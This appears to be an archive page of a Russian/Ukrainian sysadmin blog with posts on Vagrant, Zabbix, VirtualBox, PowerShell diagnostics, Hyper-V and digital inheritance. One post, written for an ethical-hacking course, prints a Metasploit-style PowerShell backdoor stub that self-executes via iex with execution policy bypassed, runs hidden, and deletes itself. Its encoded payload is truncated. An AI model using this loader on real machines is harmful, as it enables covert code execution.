Главная

Monday, 25 April 2022

Vagrantfile features.


Всем привет.

Уверен что вы с VirtualBox командную строку используете намного реже чем GUI. Но есть одна причина не пользоваться ни тем ни другим - это Vagrant.  Vagrant этакая надстройка для виртуальных провайдеров 2-го уровня, которая позволяет автоматизировать многие  повторяющиеся процессы по развертыванию виртуалок. Все описание процесса создания ВМ определенной конфигурации попадает в единый файл Vagrantfile. Полное его описание не последует в рамках данного поста, а последуют его фишки которые мне понравились от одного умного автора.

Например, чтобы сказать что: 

- мы хотим развернуть виртуальную машину из образа, имя которого задается переменной окружения 'box_name',  

- при этом следует проигнорировать Vagrantfile, включенный в состав этого образа как файл по умолчанию,

- машина в этом образе относится к классу Linux,

- по завершении запуска машины нужно вывести в консоль сообщение "Machine started".

Тогда следует в Vagrantfile написать так:

Vagrant.configure("2") do |config|

    config.vm.box = ENV['box_name']

    config.vm.ignore_box_vagrantfile = true 

    config.vm.guest = :linux

    config.vm.post_up_message = "Machine started"

end

Можно создать отдельный раздел, определяющий какие ресурсы хостовой машины мы выделяем для гостевой машины.  Делается это через доступ к свойствам отдельных провайдеров (гипервизоров), т.е обращаемся к свойствам VirtualBox:

    config.vm.provider :virtualbox do |v, override|

         v.gui = true # Display the VirtualBox GUI when booting the machine

        v.customize ["modifyvm", :id, "--memory", ENV['ram_memory_size_mb']]

        v.customize ["modifyvm", :id, "--cpus", ENV['cpu_count']]

        v.customize ["modifyvm", :id, "--vram", 64] # Video memory 64 MB

     end

где ram_memory_size_mb и cpu_count переменные окружения.

Sunday, 24 April 2022

Пользовательский интервал в Zabbix.

Всем привет.

Бывают случаи когда некий узел в Zabbix надо мониторить в зависимости от времени суток. Например если он регулярно выключается на выходные или на ночь, то и собирать лишние алерты от триггеров нет смысла. Как это можно реализовать?

Я знаю три варианта.

1. Использование функции time в условии триггера

Пишем условие так: item.last>0 И (item.time > 080000 И item.time < 170000) 

2. Настроить период обслуживания на ваш узел. 

Вам следует указать период обслуживания и выбрать типа обслуживания "без сбора данных". А чтобы узел не маячил на панели после надо отключить отображение обслуживаемых узлов фильтром панели.

3. И вариант с пользовательским интервалом в элементе данных.

Имеется возможность создания пользовательских правил относительно времени, когда элемент данных будет опрашиваться. Для этого есть два способа: 

- гибкие интервалы (flexible), который позволяет переопределить интервал обновления по умолчанию, 

- по расписанию (scheduling), посредством чего элемент данных может быть опрошен в конкретное время или последовательность времени.

Например если задать для гибкого интервала значение 1m с периодом "1-5,08:00-17:00" то элемент будет опрашиваться с частотой в 1 минуту только в рабочее время.

А если указать значение 0 с периодом "6-7,00:00-24:00" то элемент данных НЕ будет опрашиваться по выходным.

Выбор за вами.

Слава Украине!

Saturday, 23 April 2022

Командная строка в VirtualBox.

Всем привет. 

Так уж сложилось что многие пользуются в Oracle VirtualBox графическим интерфейсом. Тем не менее сам VirtualBox имеет довольно развитой CLI, которым вовсю пользуется популярный Vagrant (про него в следующий раз). Но я считаю что знать основы CLI от производителя тоже полезно. Ниже приведу наброски которые позволяют экономить время в работе с VirtualBox в домашней лаборатории.

Создание виртуальной машины.

1. создаем ВМ с указанным именем в заданной группе, указываем тип ОС (список поддерживаемых получаем VBoxManage list ostypes), регистрируем ВМ:

VBoxManage createvm –name “parrot” –groups “/pentest” –ostype “Debian” –register

2. выделяем системе ресурсы: 2 ядра, 1024 Мб ОЗУ, 16 МБ видеопамяти,  включаем ACPI и I/O APIC,  отключаем буффер обмена, включаем протокол удаленного рабочего стола, задаем порт, делаем привод загрузочным, добавляем две сетевухи 1-я NAT, 2-я внутрення сеть:

VBoxManage modifyvm “parrot” –cpus 2 –memory 1024 –vram 16 –acpi on –ioapic on –clipboard disabled –vrde on –vrdeport 888 –boot1 dvd –nic1 nat –nic2 intnet

3. создаем виртуальный жесткий диск (динамического объема) по указаному пути:

VBoxManage createhd –filename D:\work\vm\test\parrot.vdi –size 7168

4. добавляем к машине контроллер жесткого диска:

VBoxManage storagectl “parrot” –name “IDE” –add ide –controller PIIX4 –bootable on –hostiocache on

5. подключаем к контроллеру созданный ранее виртуальный жесткий диск:

VBoxManage storageattach “parrot” –storagectl “IDE” –port 0 –device 0 –type hdd –medium D:\work\vm\test\parrot.vdi

6. подключаем к кнотроллеру образ с дистрибутивом ОС:

VboxManage storageattach “parrot” –storagectl “IDE” –port 1 –device 0 –type dvddrive –medium D:\work\iso_nix\debian-7.1.0-i386-netinst.iso

Thursday, 21 April 2022

Бекдор на Powershell.


Всем привет.

Занимаясь  по курсу этичного хакинга в одном из тестов был создание бекдора на Powershell. Действительно с помощью Metasploit такой зловред создается относительно просто. Главное правильно выбрать параметры нагрузки. Ну и сам код и его запуск представляет наглядное пособие для изучения. Так как это всего лишь  тест, то код бекдора находится легко. Собственно моя находка представлена ниже:

# 2>NUL 

& @CLS 

& PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" 

& POPD /B powershell -noP -sta -w 1 -enc  

тут далее следует код нагрузки(payload) в кодировке Base64:

SQBGACgAJABQAFM.... и т.п.

Логика бекдора следующая - скачать нагрузку по url-ссылке, декодировать ее, выполнить и удалить ее же. Что мы имеем свыше:

1) ключи запуска:

-nol :NoLogo

-nop :NoProfile

-ep  :ExecutionPolicy Bypass

-sta :1 stream execution

-w 1 :Window style hidden

-enc :Encoded by base64

2) команда исполнения:

iex  :InvokeExpression

Tuesday, 19 April 2022

Get-NetTCPConnection и Get-NetUDPEndpoint.

Всем привет.

Рассмотрим два командлета PowerShell Get-NetTCPConnection и Get-NetUDPEndpoint как инструменты сетевой диагностики. 

Get-NetTCPConnection - это командлет PowerShell, запуск которого без опций возвращает результат аналогичный netstat. Чтобы вывести список открытых портов, используйте опцию -State со значением Listen:

Get-NetTcpConnection -State Listen

Список открытых портов содержится в колонке LocalPort, запись «0.0.0.0» означает IPv4 адреса, а обозначение «::» относится к IPv6 адресам.

В следующей команде выводятся только действительно интересные свойства, также сделана сортировка по номеру открытых портов:

Get-NetTcpConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess | Sort-Object -Property LocalPort | Format-Table

Как в PowerShell узнать, какая программа прослушивает порт? В следующем примере будет получено имя процесса, связанного с каждым открытым портом:

Get-NetTcpConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Sort-Object -Property LocalPort | Format-Table

Чтобы узнать, какая именно программа прослушивает определённый порт, используйте следующий код на примере для 135-го порта:

$port='135'

Get-NetTcpConnection -State Listen | Where-Object {$_.LocalPort -eq "$port"} | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Sort-Object -Property LocalPort | Format-Table

Sunday, 17 April 2022

Проброс порта для облачного видеонаблюдения.

Всем привет.

Сейчас услуга частного видеонаблюдения очень востребована, а китайский рынок вовсю предлагает недорогие IP-камеры чтобы легко организовать такое наблюдение в своем доме или квартире. Вопрос только в том, чтобы определить для себя надежное место хранения видеоматериала с камеры. Которое не украдут и которое будет всегда доступно. Напрашивается облако. Кстати, такую услугу предоставляет и наш провайдер интернета.

Цель подобной услуги предоставить пользователю возможность проссматривать все его видеокамеры онлайн или видеозаписи с одной точки или гаджета. 

Преимущества такого подхода:

  • независимость от местоположения камер (они могут находиться как в одной квартире или доме, так и в разных домах, городах, странах);
  • независимость от производителя видеокамер (как правило, у каждого производителя камер есть программное обеспечение, которое позволяет просматривать камеры только данного производителя); 
  • нет необходимости устанавливать дополнительное программное обеспечение, достаточно имеющегося web-браузера;
  • нет привязки к месту просмотра камер и записей. Просмотр возможен из любой точки, где есть доступ к интернету с достаточной полосой пропускания.

Но для этого надо предварительно настроить проброс порта (554 для протокола OPNVF) нашей камеры на сервер видеозаписи. Поэтому далее рассмотрим шаги по настройке популярных, как для меня, сетевых маршрутизаторов типа TP-Link и Mikrotik.

Проброс порта на маршрутизаторах TP-link серии TL-WR.

С помощью Web-браузера заходим на интерфейс маршрутизатора, указав IP адрес маршрутизатора в адресном поле (по умолчанию IP адрес 192.168.1.1). Введите имя пользователя и пароль. В меню выбираем пункт «Forwarding».



В подменю выбираем пункт «Virtual Servers» и нажимаем кнопку «Add New…».

Заполняем необходимые параметры, относящиеся к создающемуся виртуальному серверу.

Например:

  • поле «Service Port» вписываем номер порта, по которому сервер у камеры будет запрашивать видео поток : обычно 8554;
  • поле «Internal Port» вписываем номер порта, который настроен на камере: обычно 554;
  • поле «IP address» вписываем IP адрес вашей камеры в локальной сети 192.168.1.73; поле «Protocol» из меню выбираем «All»; поле «Status» из меню выбираем «Enable».

Не забудьте сохранить изменения, нажав кнопку «Save». На этом настройка «Virtual Server» на маршрутизаторе  TP-Link завершена.

Friday, 15 April 2022

Про Sleuth Kit.

Всем привет. 

The Sleuth Kit (TSK) - это набор цифровых криминалистических инструментов с открытым исходным кодом, разработанная Brian Carrier и Wieste Venema. TSK может читать и анализировать различные типы файловых систем, такие как FAT, NTFS и EXT. The Sleuth Kit  анализирует каждую область жесткого диска и извлекает криминалистически важную информацию для исследователя. Обычно каждый шаг предоставляет информацию к следующему при исследовании.

Сегодня мы рассмотрим некоторые инструменты The Sleuth Kit. Мы будем использовать образ жесткого диска с установленной Windows 7. Образ был получен с помощью FTK Imager lite из виртуальной машины Windows 7 размером 15 ГБ и одним разделом NTFS.

Как мы увидим, назначение инструментов TSK легко понять, поскольку их название состоит из двух частей: 

- первая часть представляет исследуемую область или слой, например mm для управления медиа, fs для файловой системы, i для метаданных и f для уровня имени файла

- вторая часть это команда Linux, отражающая действие инструмента, например, ls для отображения списка и cat для отображения содержимого, например, инструмент mmls.

Для всех команд необходимо указать как минимум имя образа. Бывает полезно знать параметр -f <FS_TYPE> указывает тип файловой системы, такой как ext2, ext3, ntfs, fat, fat12, fat16 и т. д. А параметр -o imgoffset указывает смещение сектора, в котором файловая система запускается в образе.

Типы и форматы файловых систем которые под силу вашей версии ТSK можно узнать набрав команду mmstat -i list и mmstat -t list cоответственно.


Согласно курса «CYBER 502x Computer Forensics» от гуру Yin Pan-а TSK  исследует 5 слоев абстракции файловой системы в подопытном образе:

• Physical layer

• Data layer

• Meta-data layer

• File system layer

• Filename layer

Thursday, 14 April 2022

NET и Powershell.

Всем привет.

PowerShell может быть мощным инструментом устранения неполадок в сети благодаря своему использования классов  .NET Framework. Для расширения кругозора по связке PowerShell с .NET следует ознакомиться с некоторыми полезными классами .NET, которые можно использовать для, например, решения проблем с сетью и написания других PowerShell-сценариев. В сети есть многo примеров на Powershell потому как создать сканер портов для проверки открытых портов в вашей сети, отправки и получения данных между портами, создавать форматированные пакеты для отправки Direct-запросов (LDAP) к контроллеру домена и обработки ответных пакетов для эмуляции вывода из интерфейса командной строки утилиты portqry.exe.  Используя такие методы и сценарии, вы иметь возможность устранять неполадки приложений в вашей сети, проверяя доступны ли необходимые порты в системе или они заблокированы, либо программным обеспечением на сервере, либо чем-то еще, например аппаратным брандмауэром или список управления доступом (ACL) на коммутаторе.

Ниже я покажу как создать объект прослушивателя TCP, который будет служить открытым портом в вашей системе, чтобы клиенты могли подключаться к вашей системе. Также мы напишем и TCP -передатчик. 

Но прежде чем продолжить следует уяснить для себя некоторую сетевую терминологию .NET:

1. Port идентифицирует различные приложения, службы или процессы, работающие на одной системе и позволяет им совместно использовать одно физическое соединение в сети. Можно считать его как вход к конкретному экземпляру приложения на хосте. Если порт открыт, вы можете общаться с приложением на другой стороне, но вы не можете установить соединение если порт закрыт или заблокирован (фильтруется фаерволлом).

2. EndPoint - это логическое окончание сетевого соединения между клиентом и сервером, который позволяет использование сетевые потоки для связи друг с другом. Конечная точка также предоставляет утилиту чтобы увидеть, активно ли соединение и доступны ли потоки для чтения или для записи, а также для настройки размера буферов для этих потоков.

3. Socket - это экземпляр конечной точки двусторонней связи между двумя приложениями в одной сети путем сопряжения IP-адреса с портом.

Пример с отправкой данных - не самая сложная часть, но базово важная. Чтобы отправить что-либо между портами, данные должны быть преобразованы в байты, это необходимо для самого процесса передачи данных. 

Saturday, 9 April 2022

Расширенный сеанс и Буфер обмена.


Всем привет. 

Как правило, управление виртуальными машинами в Hyper-V осуществляется удаленно, с помощью различных административных оснасток либо через подключение к удаленному рабочему столу по RDP. Но бывают ситуации, когда вам может понадобиться подключиться к ВМ напрямую, например в случае отказа виртуального сетевого адаптера, либо если машина расположена в закрытой частной сети без выхода наружу. На этот случай предназначена штатная утилита Hyper-V VMConnect.

Назначением VMConnect является предоставление прямого доступа к виртуальной машине из консоли Hyper-V Manager. C помощью VMConnect можно подключиться к виртуальной машине напрямую с хоста, не устанавливая сетевое соединение. Фактически подключение через VMConnect - это аналог локального входа в систему для физических компьютеров.

В Windows Server 2012 и более ранних операционных системах VMConnect работает следующим образом: на экран выдается растровое изображение рабочего стола гостевой ОС, генерируемое видеокартой этой виртуальной машины. Изображение обновляется в режиме реального времени, что позволяет видеть все изменения в гостевой системе сразу как только они происходят. Кроме того, VMConnect обеспечивает эмуляцию клавиатуры и мыши на виртуальной машине, что дает нам возможность управлять гостевой системой.

Использование растрового изображения накладывает определенные ограничения на взаимодействие между основной и гостевой системами, так например можно скопировать текст в буфер обмена в основной системе и вставить его в гостевой, но нельзя подобным образом скопировать/вставить файл или изображение.

Конечно, подключение по RDP лишено подобных ограничений, но для него требуется соответствующим образом настроенное сетевое подключение к виртуальной машине, а это не всегда возможно. И вот тут нам поможет режим расширенного сеанса (Enhanced Session Mode), появившийся в Windows Server 2012 R2 и в клиентском гипервизоре в Windows 8.1. Расширенный режим позволяет устанавливать RDP-подключение к ВМ через виртуальную шину VMBus, используя установленные в гостевой системе службы удаленных рабочих столов (Remote Desktop Services).

В расширенном режиме нам доступны все возможности RDP-сессии, мы можем без ограничений пользоваться буфером обмена и пробрасывать в гостевую систему локальные ресурсы - смарт-карты, принтеры, жесткие диски, usb, аудио и прочие PnP-устройства. И что самое интересное, при этом виртуальной машине совсем необязательно подключение к сети.

Но вчера я обнаружил у себя сюрприз со стороны именно расширенного сеанса. Несмотря на все необходимые галочки в меню ВМ отсутствовала закладка "Буфер обмена". Поиски решения привели, скорее случайно, к тому что следует поменять режим просмотра ВМ на базовый кнопкой справа. Вот так. Причина такого глюка в Hyper-V пока не ясна.


Успехов.

Слава Украине.


Friday, 8 April 2022

Сетевая диагностика с Get-NetView.

Всем привет.

В книге "Книга рецептов автоматизации Windows Server при помощи PowerShell" Томаса Ли есть ссылка на интересный Powershell модуль сетевой диагностики - Get-NetView.

Автор его позиционирует как модуль решающий проверку сетевой связанности. Get-NetView это инструмент, который собирает подробности относительно вашей сетевой среды, которые способны помочь вам в решении сетевых проблем.

Модуль Get-NetView содержит единственную функцию Get-NetView. Когда вы запускаете эту команду, она вытаскивает воедино гигантский диапазон сведений о сетевой среде и создаёт дополнительно ZIP файл, содержащие подробности жизнеспособности относительно вашей сетевой среды. По умолчанию Get-NetView создаёт папку с результатами на вашем рабочем столе.

Вывод Get-NetView содержит следующие подробности:

  • Метаданные Get-NetView
  • Содержимое среды хоста (включая ОС, оборудование, домен и имя хоста)
  • Физические, виртуальные и контейнерные NIC
  • Сетевую конфигурацию (включая IP адресацию, адресацию VFC, соседей и маршруты IP)
  • Физическую конфигурацию коммутатора, включая политики Quality of Service (QoS)
  • Конфигурацию Hyper-V
  • Виртуальные коммутаторы, мосты и NAT Hyper-V
  • Драйверы устройств Windows
  • Счётчики производительности
  • События системы и приложений.

Предоставляемый Get-NetView вывод, как это следует из приводимого выше перечня, обширен. Чтобы помочь устранить найденную проблему, скорее всего полезной для вас окажется лишь небольшая толика этих сведений. Тем не менее, когда в вашей сетевой среде имеется некая сетевая проблема, эта информация намерена помочь вам.

Для работы модуля нужен предустановленная PowerShell 7. Видимо так сделано на вырост. Буду полагать что она у вас уже есть.

Находим необходимый модуль Get-NetView в Галерее PS:

Find-Module -Name Get-NetView

Устанавливаем самую последнюю версию Get-NetView:

Install-Module -Name Get-NetView -Force -AllowClobber

Проверяем установленную версию Get-NetView:

Get-Module -Name Get-NetView -ListAvailable

Импортируем модуль Get-NetView:

Import-Module -Name Get-NetView -Force

Готово!

Wednesday, 6 April 2022

Windows 11 и HyperV.

Всем привет.

После объявления системных требований к Windows 11 появились и способы их обхода. Microsoft же заявил, что если компьютер не будет соответствовать объявленным системным требованиям, то это может вызвать проблему с последующими обновлениями. В случае с Hyper V часть оборудования виртуализирована (кроме процессора) и эти требования играют меньшую роль, чем в случае установке на обычный ПК.

Еще одна важная часть - это ресурсы, которые нужно выделить под Windows 11. Ниже перечислены обязательные требования отсутствие которых приведет к ошибке:

  • 4 ГБ ОЗУ;
  • Процессор 1 ГГц и 2 ядра;
  • TPM 2.0.

Если у вашей виртуальной машины (ВМ) не будет этих ресурсов, то вы столкнетесь с ошибкой:

- этот компьютер не соответствует минимальным требованиям к системе для установки этой версии Windows. Дополнительные сведения см. на сайте aka.ms/WindowsSysReq

- Тhis PC doesn’t meet the minimum system requirements to install this version of Windows. For more information, visit aka.ms/WindowsSysReq

К счастью TPM в рамках HyperV может быть виртуализирован. Т.е. он может быть создан через настройки HyperV. Такие требования, как свободное место на диске 64 Гб, являются опциональными требованиями. По сути проинсталированная Windows 11 займет не более 22 Гб.

Учитывая, что хостовая ОС сама использует оперативную память, а вам нужно установить еще одну для ВМ - физически вы должны иметь минимум 8 Гб на своем компьютере.

Tuesday, 5 April 2022

Цифровий спадок.

Всім доброго дня.

У сучасному світі значна частина інформації зберігається у цифровому вигляді і часто має дуже велике значення та цінність на рівні з іншими активами та фізичними документами. Компанія MEV провела невелике дослідження на цю тему. Питання було одне - як написати заповіт щодо персональної цифрової інформації довіреним особам у відомих сервісах?

Google.

Ваш обліковий запис Google зберігає в собі колосальний обсяг інформації. Мабуть, навіть більший, ніж ви самі про те підозрюєте. Крім цілком очевидних фотографій з «Google Фото», документів, є файли у Google Drive, історії пошукових запитів і повідомлень електронної пошти. Там також зберігаються записи ваших звернень до Google Асистенту, історія переміщень та звернень до завантажених у пристрій додатків.

Google дозволяє або видалити ваш акаунт, або надати дані з нього довіреним особам завдяки налаштуванням «Про всяк випадок». Компанія пропонує або просто деактивувати ваш акаунт після 3-18 місяців, або надати доступ до частини даних обраним користувачам. 

Як налаштувати умови надання ваших даних довіреним особам:

  1. Перейдіть за посиланням на сторінку «Про всяк випадок»;
  2. Натисніть «Почати», уточніть період бездіяльності, після закінчення якого акаунт буде видалений, а потім виберіть контакти, за якими вас можна буде заздалегідь про це сповістити;
  3. Ви можете вибрати термін деактивації і контакти, за якими вас про неї потрібно сповістити;
  4. Виберіть довірену особу, якій ви надасте доступ до своїх даних, і вкажіть її електронну пошту;
  5. Виберіть дані, які ви готові надати довіреній особі, і підтвердіть внесення змін.

Facebook.

Тут ще простіше - для передачі облікового запису Facebook автоматично у разі відсутності активності – налаштуйте автоматичне видалення або «Спадкоємця»: 

«Settings» - «General» - «Memorialisation»

Microsoft.

З Microsoft трошки складніше -  сервіси від Microsoft пропонують 2 варіанти розвитку подій:

  • або забезпечити автоматичну передачу логіну та паролю довіреній особі.
  • або у разі рішення до автоматичного видалення облікового запису, окремих дій не потрібно робити - тобто у разі відсутності активності обліковий запис деактивується через 2 роки автоматично.

Опції щодо автоматичної передачі паролю в Microsoft я так і не знайшов. Врешті решт, я гадаю, що варто просто вести записи своїх паролів в KeePass, або в його онлайн аналозі. Але завчасно потурбуватись щоб доступ до цього записника мала ваша довірена особа.

Щасти.

Слава Україні!

Saturday, 2 April 2022

Варианты обмена данными c Zabbix.

Всем привет.  

Zabbix - это популярное средство мониторинга в компьютерных сетях. Основными принципами работы программы заключается во взаимодействии сервера и агентов устанавливающиеся на хосты. В Zabbix доступны и другие инструменты, которые позволяют запускать скрипты, в том числе и Powershell. Такой подход позволяет добавлять в Zabbix нужные для вас данные или вести дополнительную аналитику получая данные с сервера. Итак, помимо штатного мониторинга из коробки существуют следующие варианты получения и отправки данных в Zabbix.

Передача данных на Zabbix-сервер:

- zabbix_sender

- UserParameter

- передача дополнительных параметров

- Discovery Rules и Item Prototype

- любой скрипт с system.run

Получение данных от Zabbix-сервера:

- получаем данные через zabbix_get

- получение данных с API.

Инструменты с помощью которых мы обмениваемся данными в  Zabbix можно разделить на серверные и клиентские. 

Из них создающиеся или хранящиеся на сервере Zabbix:

  • скрипты (Scripts) -  это скрипты, которые можно использовать в веб-интерфейсе Zabbix. Визуально это пункты меню;
  • External Scripts - папка обычно "/usr/lib/zabbix/externalscripts", в которую можно поместить скрипт и привязать его к какому-то хосту;
  • API - HTTP интерфейс, к которому можно обращаться получая большую часть данных или создавать/редактировать существующие элементы.

И клиентские инструменты, которые чаще всего используются на клиентах:

  • zabbix_sender - отдельная программа, которая отправляет данные на сервер Zabbix;
  • zabbix_get - отдельная программа для получения данных с хостов, на которых установлен zabbix_agent. Обычно используется для тестирования;
  • UserParameter - параметр в конфигурации агента на хосте. С помощью его так же можно отправить данные на сервер.
  • system.run -  параметр в конфигурации агента на хосте. В отличие от UserParameter позволяет выполнять любой скрипт на клиенте. Хотя и для UserParameter я особых ограничений не заметил, например так UserParameter=admin.local[*],powershell -File "GetAdmins.ps1"

Friday, 1 April 2022

Диагностика сетевого взаимодействия.


Всем привет. 

Существует теория, что любая сетевая проблема начинается с DNS, пока вы не докажете  обратное. Поэтому есть смысл пройтись по диагностике сетевого взаимодействия в вашем домене.

Вы начинаете с получения полного доменного имени (FQDN), fully qualifed domain name своего хоста и значения IP адреса его DNS сервера, а затем проверяете работает ли этот сервер DNS.

Затем вы применяете сконфигурированный сервер DNS на предмет определения значений имён контроллеров домена в своём домене и убеждаетесь что способны достигать каждого контроллера домена как по порту 389 (LDAP), так и по 445 (для GPO). 

Затем вы проверяете доступность шлюза по умолчанию. В конце, уже опционально, вы тестируете возможность достижения удалённого хоста по порту 80 (http) и по порту 443 (HTTP поверх SSL/ TLS). 

В приницпе весь рецепт диагностики состоит из кода Powershell для версии 7.0.

# Получаем значение имени DNS данного хоста

$DNSDomain = $Env:USERDNSDOMAIN

$FQDN      = "$Env:COMPUTERNAME.$DNSDomain"

# Получаем значение адреса этого DNS сервера

$DNSHT = @{

  InterfaceAlias = "Ethernet"

  AddressFamily  = 'IPv4'

}

$DNSServers = (Get-DnsClientServerAddress @DNSHT).ServerAddresses

$DNSServers

# Убеждаемся в доступности этих DNS серверов

Foreach ($DNSServer in $DNSServers) {

  $TestDNS = Test-NetConnection -Port 53 -ComputerName $DNSServer   

  $Result  = $TestDNS ? "Available" : ' Not reachable'

  "DNS Server [$DNSServer] is $Result"

}